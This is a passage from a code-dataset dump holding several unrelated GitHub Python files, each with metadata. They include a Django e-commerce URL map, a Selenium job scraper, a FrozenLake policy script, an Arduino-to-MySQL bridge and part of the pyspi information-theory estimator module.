const=\"DISTREL\")\n lsb_release.add_argument(\"-c\", \"--codename\", action=\"append_const\", dest=\"lines\", const=\"DISTCODE\")\n lsb_release.add_argument(\"-a\", \"--all\", action=\"store_true\", help=\"Display all of the above information.\")\n lsb_release.add_argument(\"-s\", \"--short\", action=\"store_true\", help=\"Display all of the above information in short output format.\")\n\n lsb_release_args = lsb_release.parse_args()\n\n if lsb_release_args.all:\n lsb_lines = MSG_MAP.keys()\n else:\n lsb_lines = lsb_release_args.lines or []\n\n os_release = read_os_release()\n\n for i in lsb_lines:\n print(get_lsb_line(os_release, i, lsb_release_args.short))\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "gasinvein/lsb-release-shim", "sub_path": "lsb_release.py", "file_name": "lsb_release.py", "file_ext": "py", "file_size_in_byte": 2051, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "shlex.split", "line_number": 18, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 35, "usage_type": "call"}]} +{"seq_id": "13960134386", "text": "from django.urls import path\r\nfrom . import views\r\nfrom django.conf import settings\r\nfrom django.conf.urls.static import static\r\nurlpatterns = [\r\n path('',views.Home,name='home'),\r\n path('signup',views.Signup,name='signup'),\r\n path('returncurrent',views.Returncurrent,name='returncurrent'),\r\n \r\n path('login',views.Login,name='login'),\r\n path('logout',views.Logout,name='logout'),\r\n path('category//',views.CategoryName,name='category'),\r\n path('filterproducts',views.Filterproducts,name='filterproducts'),\r\n path('getauthorfilter',views.Getauthorfilter,name='getauthorfilter'),\r\n\r\n path('about',views.About,name='about'),\r\n path('contact',views.Contact,name='contact'),\r\n path('moredetails/',views.MoreDetails,name='moredetails'),\r\n \r\n path('search',views.Search,name='search'),\r\n\r\n\r\n path('addtocart//',views.AddtoCart,name='addtocart'),\r\n path('showcart',views.Showcart,name='showcart'),\r\n path('delcart//',views.Delcart,name='delcart'),\r\n path('productqty',views.Productqty,name='productqty'),\r\n \r\n\r\n path('buynow//',views.Buynowprod,name='buynow'),\r\n path('buynowroductqty',views.Buynowroductqty,name='buynowroductqty'),\r\n\r\n path('checkout',views.Checkout,name='checkout'),\r\n path('cartchkout',views.Cartchkout,name='cartchkout'),\r\n path('orders/',views.Showorders,name='orders'),\r\n\r\n path('wishlist//',views.Wishlists,name='wishlist'),\r\n path('showwishlist',views.Showwishlist,name='showwishlist'),\r\n path('delwishlist//',views.Delwishlists,name='delwishlist'),\r\n\r\n path('checkbox',views.Filtercheck,name='checkbox'),\r\n path('getfilterdata',views.Getfilterdata,name='getfilterdata'),\r\n\r\n path('profile',views.Profile,name='profile'),\r\n]\r\nif settings.DEBUG:\r\n urlpatterns += static(settings.MEDIA_URL,document_root=settings.MEDIA_ROOT)\r\n\r\n# this is to check change in github", "repo_name": "nayankhadase/e-commerce", "sub_path": "ecommerce/shop/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 2002, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 33, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 34, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 36, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 37, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 38, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 40, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 41, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 43, "usage_type": "call"}, {"api_name": "django.conf.settings.DEBUG", "line_number": 45, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 45, "usage_type": "name"}, {"api_name": "django.conf.urls.static.static", "line_number": 46, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 46, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 46, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 46, "usage_type": "attribute"}]} +{"seq_id": "42246590069", "text": "from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\ndef save(content, filename):\n with open(filename, 'wb') as dest:\n dest.write(content)\n\ndef download(urls):\n for url in urls:\n with urlopen(url) as resp:\n content = resp.read()\n filename = url.split('/')[-1]\n save(content, filename)\n\ndef download_imgs_from(url):\n with urlopen('https://openhome.cc/Gossip') as resp:\n soup = BeautifulSoup(resp.read(), 'html.parser')\n srcs = (img.get('src') for img in soup.find_all('img'))\n download(f'{url}/{src}' for src in srcs)\n\ndownload_imgs_from('https://openhome.cc/Gossip')\n", "repo_name": "JustinSDK/Python37Tutorial", "sub_path": "samples-labs-exercises/samples/C/bs_demo/download_imgs.py", "file_name": "download_imgs.py", "file_ext": "py", "file_size_in_byte": 657, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "16", "api": [{"api_name": "urllib.request.urlopen", "line_number": 10, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 16, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 17, "usage_type": "call"}]} +{"seq_id": "35991285590", "text": "from selenium import webdriver\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.common.exceptions import NoSuchElementException\nfrom bs4 import BeautifulSoup\nfrom time import sleep\nimport pandas as pd\nimport sys\nimport os\nimport datetime\n\nseparator = 40*\"*\"\nkeyword = \"test\"\ncity = \"Zürich\"\nwebsite = \"https://www.freelance.de\"\nsearch_link = \"/Projekte/K/IT-Entwicklung-Projekte/\"\nall_jobs = []\ndir_path = os.path.realpath(os.path.dirname(__file__))\ncsv_file = os.path.join(dir_path, \"jobs_\" + keyword + \".csv\")\ntimestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')\ncsv_file_timestamped = os.path.join(dir_path, \"jobs_\" + keyword + timestamp + \".csv\")\n\ndef jobs_info(soup_job):\n job_details = [text for text in soup_job.stripped_strings]\n a_tags = soup_job.find_all('a', href=True) \n \n # assigning strings to a meaningfull parameter\n name = job_details[0]\n to_strip = \"/highlight=\" + keyword\n link = website + a_tags[0]['href']\n link_stripped = link.rstrip(to_strip)\n techstack = job_details[3:-6]\n start = job_details[-6]\n location = job_details[-5]\n office_type = job_details[-4]\n added = job_details[-3]\n \n # print(name, *techstack, start, location, office_type, added, sep = \"\\n\")\n job_details_final = [name, link_stripped]\n return job_details_final\n \ndef check_pagination(pagination):\n pages = pagination.text.split(' ')\n print(pages[1], pages[2], pages[3])\n\n# selectors\nfreetext_css = '#__search_freetext'\ncity_css = '#__search_city'\n# city_autocompleter_css = '#project_city_autocompletion'\ncity_selectfirst_css = '.place-autocompleter > a:nth-child(1)'\ncity_distance_css = 'div.col-sm-2:nth-child(3) > div:nth-child(2) > button:nth-child(1)'\ncity_distance_100km_css = 'div.col-sm-2:nth-child(3) > div:nth-child(2) > div:nth-child(2) > ul:nth-child(1) > li:nth-child(5) > a:nth-child(1)'\nsearch_css = '#search_simple'\njob_info_css = '.project-list > div'\npagination_css = '[id=pagination] > p'\nnext_css = '[aria-label=Next]'\n\noptions = webdriver.ChromeOptions() \noptions.add_argument(\"start-maximized\")\n# to supress the error messages/logs\noptions.add_experimental_option('excludeSwitches', ['enable-logging'])\nchrome_driver = webdriver.Chrome(options=options, service=Service(ChromeDriverManager().install()))\npd.set_option('display.max_colwidth', None)\n\ntry:\n chrome_driver.get(website + search_link)\n \n # insert search keyword \n WebDriverWait(chrome_driver, 10).until(EC.presence_of_element_located((By.CSS_SELECTOR, freetext_css)))\n input_freetext = chrome_driver.find_element(By.CSS_SELECTOR, freetext_css)\n input_freetext.send_keys(keyword)\n \n input_city = chrome_driver.find_element(By.CSS_SELECTOR, city_css)\n input_city.click()\n sleep(1)\n input_city.send_keys(city)\n \n # select first choice\n WebDriverWait(chrome_driver, 10).until(EC.presence_of_element_located((By.CSS_SELECTOR, city_selectfirst_css)))\n city_dropdown = chrome_driver.find_element(By.CSS_SELECTOR, city_selectfirst_css)\n city_dropdown.click()\n \n # select radius from city\n chrome_driver.find_element(By.CSS_SELECTOR, city_distance_css).click()\n chrome_driver.find_element(By.CSS_SELECTOR, city_distance_100km_css).click() \n \n # submit search\n chrome_driver.find_element(By.CSS_SELECTOR, search_css).click() \n \n # scraping the first page of jobs\n WebDriverWait(chrome_driver, 10).until(EC.presence_of_element_located((By.CSS_SELECTOR, job_info_css)))\n jobs_elem = chrome_driver.find_elements(By.CSS_SELECTOR, job_info_css)\n for job in jobs_elem:\n soup_job = BeautifulSoup(job.get_attribute('innerHTML'), 'html.parser')\n # TODO change .append to .concat\n all_jobs.append(jobs_info(soup_job))\n \n # steering through the other pages\n next = chrome_driver.find_element(By.CSS_SELECTOR, next_css)\n while next:\n next.click()\n WebDriverWait(chrome_driver, 10).until(EC.presence_of_element_located((By.CSS_SELECTOR, job_info_css)))\n jobs_elem = chrome_driver.find_elements(By.CSS_SELECTOR, job_info_css)\n for job in jobs_elem:\n soup_job = BeautifulSoup(job.get_attribute('innerHTML'), 'html.parser')\n all_jobs.append(jobs_info(soup_job))\n try:\n next = chrome_driver.find_element(By.CSS_SELECTOR, next_css)\n except NoSuchElementException:\n next = None\n \n # read csv file and write into it new entries\n job_list_df = pd.read_csv(csv_file)\n job_list_df_new = pd.DataFrame()\n for job in all_jobs:\n if job[1] not in job_list_df.values :\n series = pd.Series(job)\n job_list_df_new = job_list_df_new.append(series, ignore_index=True)\n job_list_df = pd.DataFrame(all_jobs)\n # print(csv_file)\n if not job_list_df_new.empty:\n print(\"New jobs:\", job_list_df_new)\n job_list_df_new.to_csv(csv_file_timestamped)\n else: print(\"There are no new jobs for this searchterm\")\n job_list_df.to_csv(csv_file)\n \nexcept NoSuchElementException as ex:\n print(ex.args)\n \nfinally:\n chrome_driver.close()\n", "repo_name": "1337tester/web_scraper", "sub_path": "freelancers_sele.py", "file_name": "freelancers_sele.py", "file_ext": "py", "file_size_in_byte": 5415, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.realpath", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.ChromeOptions", "line_number": 62, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 62, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 66, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 66, "usage_type": "name"}, {"api_name": "selenium.webdriver.chrome.service.Service", "line_number": 66, "usage_type": "call"}, {"api_name": "webdriver_manager.chrome.ChromeDriverManager", "line_number": 66, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 67, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.wait.WebDriverWait", "line_number": 73, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 73, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 73, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 73, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 73, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 74, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 74, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 77, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 77, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 79, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.wait.WebDriverWait", "line_number": 83, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 83, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 83, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 83, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 83, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 84, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 84, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 88, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 88, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 89, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 89, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 92, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 92, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.wait.WebDriverWait", "line_number": 95, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 95, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 95, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 95, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 95, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 96, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 96, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 98, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 103, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 103, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.wait.WebDriverWait", "line_number": 106, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 106, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 106, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 106, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 106, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 107, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 107, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 109, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 112, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 112, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 113, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 117, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 118, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 121, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 123, "usage_type": "call"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 131, "usage_type": "name"}]} +{"seq_id": "13698846616", "text": "''' Human programmed paths in Frozen Lake.\n\nhttps://gym.openai.com/envs/FrozenLake-v0/\n\n'''\n\nimport heapq\nfrom collections import defaultdict\nimport random\n\nimport gym\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nenv = gym.make('FrozenLake-v0')\nscores = []\nwinpct = []\n# SFFF (S: starting point, safe)\n# FHFH (F: frozen surface, safe)\n# FFFH (H: hole, fall to your doom)\n# HFFG (G: goal, where the frisbee is located)\n\nwinning_routes = [[2,2,1,1,1,2],[1,1,2,1,2,2]]\npolicy = {0:2, 1:2, 2:1, 3:0, 4:1, 5:2, 6:1, 7:1, 8:2, 9:2, 10:1, 11:1, 12:2, 13:2, 14:2, 15:1}\n\nfor _ in range(1000):\n obs = env.reset()\n done = False\n score = 0 \n #route = random.choice(winning_routes) \n while not done:\n #for action in route:\n # obs, reward, done, info = env.step(action)\n obs, reward, done, info = env.step(policy[obs])\n score += reward\n scores.append(score)\n\n if _ % 10 == 0:\n average = np.mean(scores[-10:])\n winpct.append(average)\n\nplt.plot(winpct)\nplt.show()", "repo_name": "bradfox2/DRL", "sub_path": "FrozenLake/frozen_lake_deterministic.py", "file_name": "frozen_lake_deterministic.py", "file_ext": "py", "file_size_in_byte": 1047, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "gym.make", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}]} +{"seq_id": "44496306919", "text": "import serial\nimport pymysql.cursors\ncomArduino = serial.Serial('/dev/ttyACM0', 9600);\nconnexionBdd = pymysql.connect(host='localhost', user='pi',passwd='raspberry',db='pi_autopouss',charset='utf8mb4',cursorclass=pymysql.cursors.DictCursor);\niTime = 1\na = 0\nwhile 1: \n infosIn = comArduino.readline();\n infosIn = infosIn.decode();\n if \"|\" in infosIn:\n tableauInfo = infosIn.split(\"|\");\n try:\n with connexionBdd.cursor() as cursor:\n if iTime >= 60:\n iTime = 1\n sql = \"INSERT INTO `informations` (`temperature`, `etat_chauffage`, `etat_ventilateur`, `luminosite`, `etat_lumiere`, `ph`, `etat_pompe`) VALUES (%s, %s, %s, %s, %s, %s, %s)\";\n cursor.execute(sql, (tableauInfo[0], tableauInfo[1], tableauInfo[2], tableauInfo[3], tableauInfo[4], tableauInfo[5], tableauInfo[6]));\n connexionBdd.commit();\n else:\n iTime+= 1\n sql = \"UPDATE tempsreel SET temperature=%s, etat_chauffage=%s, etat_ventilateur=%s, luminosite=%s, etat_lumiere=%s, ph=%s, etat_pompe=%s WHERE id='1'\";\n cursor.execute(sql, (tableauInfo[0], tableauInfo[1], tableauInfo[2], tableauInfo[3], tableauInfo[4], tableauInfo[5], tableauInfo[6]));\n connexionBdd.commit();\n finally:\n a=1\n try:\n with connexionBdd.cursor() as cursor:\n sql = \"SELECT * FROM `commandes` WHERE `id`=%s\"\n cursor.execute(sql, ('1'))\n result = cursor.fetchone()\n commande = str(result['tempsNutrition']) + \"|\" + str(result['tempsPause']) + \"|\" + str(float(result['Ph_min'])*100) + \"|\" + str(float(result['Ph_max'])*100) + \"|\" + str(result['luminositeRequise']) + \"|\" + str(float(result['Temp_min'])*100) + \"|\" + str(float(result['Temp_min_h'])*100) + \"|\" + str(float(result['Temp_max'])*100) + \"|\" + str(float(result['Temp_max_h'])*100);\n finally: \n b = commande.encode('utf-8')\n comArduino.write(b) \nconnexionBdd.close();", "repo_name": "Nemavio/AutoPouss-", "sub_path": "Raspberry/code python.py", "file_name": "code python.py", "file_ext": "py", "file_size_in_byte": 2114, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "serial.Serial", "line_number": 3, "usage_type": "call"}, {"api_name": "pymysql.cursors.connect", "line_number": 4, "usage_type": "call"}, {"api_name": "pymysql.cursors", "line_number": 4, "usage_type": "name"}, {"api_name": "pymysql.cursors.cursors", "line_number": 4, "usage_type": "attribute"}]} +{"seq_id": "22268086314", "text": "import jpype as jp\nimport numpy as np\nfrom pyspi import utils\nfrom oct2py import octave, Struct\nimport copy\nimport os\nimport logging\n\nfrom pyspi.base import Undirected, Directed, Unsigned, parse_univariate, parse_bivariate\n\n\"\"\"\nContains relevant dependence statistics from the information theory community.\n\"\"\"\nif not jp.isJVMStarted():\n jarloc = (\n os.path.dirname(os.path.abspath(__file__)) + \"/../lib/jidt/infodynamics.jar\"\n )\n # Change to debug info\n logging.debug(f\"Starting JVM with java class {jarloc}.\")\n jp.startJVM(jp.getDefaultJVMPath(), \"-ea\", \"-Djava.class.path=\" + jarloc)\n\n\nclass JIDTBase(Unsigned):\n\n # List of (currently) modifiable parameters\n _NNK_PROP_NAME = \"k\"\n _AUTO_EMBED_METHOD_PROP_NAME = \"AUTO_EMBED_METHOD\"\n _DYN_CORR_EXCL_PROP_NAME = \"DYN_CORR_EXCL\"\n _KERNEL_WIDTH_PROP_NAME = \"KERNEL_WIDTH\"\n _K_HISTORY_PROP_NAME = \"k_HISTORY\"\n _K_TAU_PROP_NAME = \"k_TAU\"\n _L_HISTORY_PROP_NAME = \"l_HISTORY\"\n _L_TAU_PROP_NAME = \"l_TAU\"\n _K_SEARCH_MAX_PROP_NAME = \"AUTO_EMBED_K_SEARCH_MAX\"\n _TAU_SEARCH_MAX_PROP_NAME = \"AUTO_EMBED_TAU_SEARCH_MAX\"\n _BIAS_CORRECTION = \"BIAS_CORRECTION\"\n _NORMALISE = \"NORMALISE\"\n\n _base_class = jp.JPackage(\"infodynamics.measures.continuous\")\n\n def __init__(\n self, estimator=\"gaussian\", kernel_width=0.5, prop_k=4, dyn_corr_excl=None\n ):\n\n self._estimator = estimator\n self._kernel_width = kernel_width\n self._prop_k = prop_k\n self._dyn_corr_excl = dyn_corr_excl\n self._entropy_calc = self._getcalc(\"entropy\")\n\n self.identifier = self.identifier + \"_\" + estimator\n if estimator == \"kraskov\":\n self.identifier = self.identifier + \"_NN-{}\".format(prop_k)\n self.labels = self.labels + [\"nonlinear\"]\n elif estimator == \"kernel\":\n self.identifier = self.identifier + \"_W-{}\".format(kernel_width)\n self.labels = self.labels + [\"nonlinear\"]\n elif estimator == \"symbolic\":\n if not isinstance(self, TransferEntropy):\n raise NotImplementedError(\n \"Symbolic estimator is only available for transfer entropy.\"\n )\n self.labels = self.labels + [\"symbolic\"]\n self._dyn_corr_excl = None\n return\n else:\n self.labels = self.labels + [\"linear\"]\n self._dyn_corr_excl = None\n\n if self._dyn_corr_excl:\n self.identifier = self.identifier + \"_DCE\"\n\n def __getstate__(self):\n state = dict(self.__dict__)\n\n unserializable_objects = [\"_entropy_calc\", \"_calc\"]\n\n for k in unserializable_objects:\n if k in state.keys():\n del state[k]\n\n return state\n\n def __setstate__(self, state):\n \"\"\"Re-initialise the calculator\"\"\"\n # Re-initialise\n self.__dict__.update(state)\n self._entropy_calc = self._getcalc(\"entropy\")\n\n def __deepcopy__(self, memo):\n newone = type(self)()\n newone.__dict__.update(self.__dict__)\n for attr in newone.__dict__:\n setattr(newone, attr, copy.deepcopy(getattr(self, attr), memo))\n return newone\n\n def _setup(self, calc):\n if self._estimator == \"kernel\":\n calc.setProperty(self._KERNEL_WIDTH_PROP_NAME, str(self._kernel_width))\n elif self._estimator == \"kraskov\":\n calc.setProperty(self._NNK_PROP_NAME, str(self._prop_k))\n\n calc.setProperty(self._BIAS_CORRECTION, \"false\")\n\n return calc\n\n def _getkey(self):\n if self._estimator == \"kernel\":\n return (self._estimator, self._kernel_width)\n elif self._estimator == \"kraskov\":\n return (self._estimator, self._prop_k)\n else:\n return (self._estimator,)\n\n def _getcalc(self, measure):\n if measure == \"entropy\":\n if self._estimator == \"kernel\":\n calc = self._base_class.kernel.EntropyCalculatorMultiVariateKernel()\n elif self._estimator == \"kozachenko\":\n calc = (\n self._base_class.kozachenko.EntropyCalculatorMultiVariateKozachenko()\n )\n else:\n calc = self._base_class.gaussian.EntropyCalculatorMultiVariateGaussian()\n elif measure == \"MutualInfo\":\n if self._estimator == \"kernel\":\n calc = self._base_class.kernel.MutualInfoCalculatorMultiVariateKernel()\n elif self._estimator == \"kraskov\":\n calc = (\n self._base_class.kraskov.MutualInfoCalculatorMultiVariateKraskov1()\n )\n else:\n calc = (\n self._base_class.gaussian.MutualInfoCalculatorMultiVariateGaussian()\n )\n elif measure == \"TransferEntropy\":\n if self._estimator == \"kernel\":\n calc = self._base_class.kernel.TransferEntropyCalculatorKernel()\n elif self._estimator == \"kraskov\":\n calc = self._base_class.kraskov.TransferEntropyCalculatorKraskov()\n else:\n calc = self._base_class.gaussian.TransferEntropyCalculatorGaussian()\n else:\n raise TypeError(f\"Unknown measure: {measure}\")\n\n return self._setup(calc)\n\n # No Theiler window yet (can it be done?)\n @parse_univariate\n def _compute_entropy(self, data, i=None):\n if not hasattr(data, \"entropy\"):\n data.entropy = {}\n\n key = self._getkey()\n if key not in data.entropy:\n data.entropy[key] = np.full((data.n_processes,), -np.inf)\n\n if data.entropy[key][i] == -np.inf:\n x = np.squeeze(data.to_numpy()[i])\n\n self._entropy_calc.initialise(1)\n self._entropy_calc.setObservations(jp.JArray(jp.JDouble, 1)(x))\n\n data.entropy[key][\n i\n ] = self._entropy_calc.computeAverageLocalOfObservations()\n\n return data.entropy[key][i]\n\n # No Theiler window is available in the JIDT estimator\n @parse_bivariate\n def _compute_joint_entropy(self, data, i, j):\n if not hasattr(data, \"joint_entropy\"):\n data.joint_entropy = {}\n\n key = self._getkey()\n if key not in data.joint_entropy:\n data.joint_entropy[key] = np.full((data.n_processes, data.n_processes), -np.infty)\n\n if data.joint_entropy[key][i, j] == -np.inf:\n x, y = data.to_numpy()[[i, j]]\n\n self._entropy_calc.initialise(2)\n self._entropy_calc.setObservations(jp.JArray(jp.JDouble, 2)(np.concatenate([x, y], axis=1)))\n\n data.joint_entropy[key][i, j] = self._entropy_calc.computeAverageLocalOfObservations()\n data.joint_entropy[key][j, i] = data.joint_entropy[key][i, j]\n\n return data.joint_entropy[key][i, j]\n\n # No Theiler window is available in the JIDT estimator\n def _compute_conditional_entropy(self, X, Y):\n XY = np.concatenate([X, Y], axis=1)\n\n self._entropy_calc.initialise(XY.shape[1])\n self._entropy_calc.setObservations(jp.JArray(jp.JDouble, XY.ndim)(XY))\n\n H_XY = self._entropy_calc.computeAverageLocalOfObservations()\n\n self._entropy_calc.initialise(Y.shape[1])\n self._entropy_calc.setObservations(jp.JArray(jp.JDouble, Y.ndim)(Y))\n\n H_Y = self._entropy_calc.computeAverageLocalOfObservations()\n\n return H_XY - H_Y\n\n def _set_theiler_window(self, data, i, j):\n if self._dyn_corr_excl == \"AUTO\":\n if not hasattr(data, \"theiler\"):\n z = data.to_numpy()\n theiler_window = -np.ones((data.n_processes, data.n_processes))\n\n # Compute effective sample size for each pair\n for _i in range(data.n_processes):\n targ = z[_i]\n for _j in range(_i + 1, data.n_processes):\n src = z[_j]\n\n # Initialize the Theiler window using Bartlett's formula\n theiler_window[_i, _j] = 2 * np.dot(\n utils.acf(src), utils.acf(targ)\n )\n theiler_window[_j, _i] = theiler_window[_i, _j]\n data.theiler = theiler_window\n\n self._calc.setProperty(\n self._DYN_CORR_EXCL_PROP_NAME, str(int(data.theiler[i, j]))\n )\n elif self._dyn_corr_excl is not None:\n self._calc.setProperty(\n self._DYN_CORR_EXCL_PROP_NAME, str(int(self._dyn_corr_excl))\n )\n\n\nclass JointEntropy(JIDTBase, Undirected):\n\n name = \"Joint entropy\"\n identifier = \"je\"\n labels = [\"unsigned\", \"infotheory\", \"unordered\", \"undirected\"]\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n @parse_bivariate\n def bivariate(self, data, i=None, j=None):\n return self._compute_joint_entropy(data, i=i, j=j)\n\n\nclass ConditionalEntropy(JIDTBase, Directed):\n\n name = \"Conditional entropy\"\n identifier = \"ce\"\n labels = [\"unsigned\", \"infotheory\", \"unordered\", \"directed\"]\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n @parse_bivariate\n def bivariate(self, data, i=None, j=None):\n return self._compute_joint_entropy(data, i=i, j=j) - self._compute_entropy(\n data, 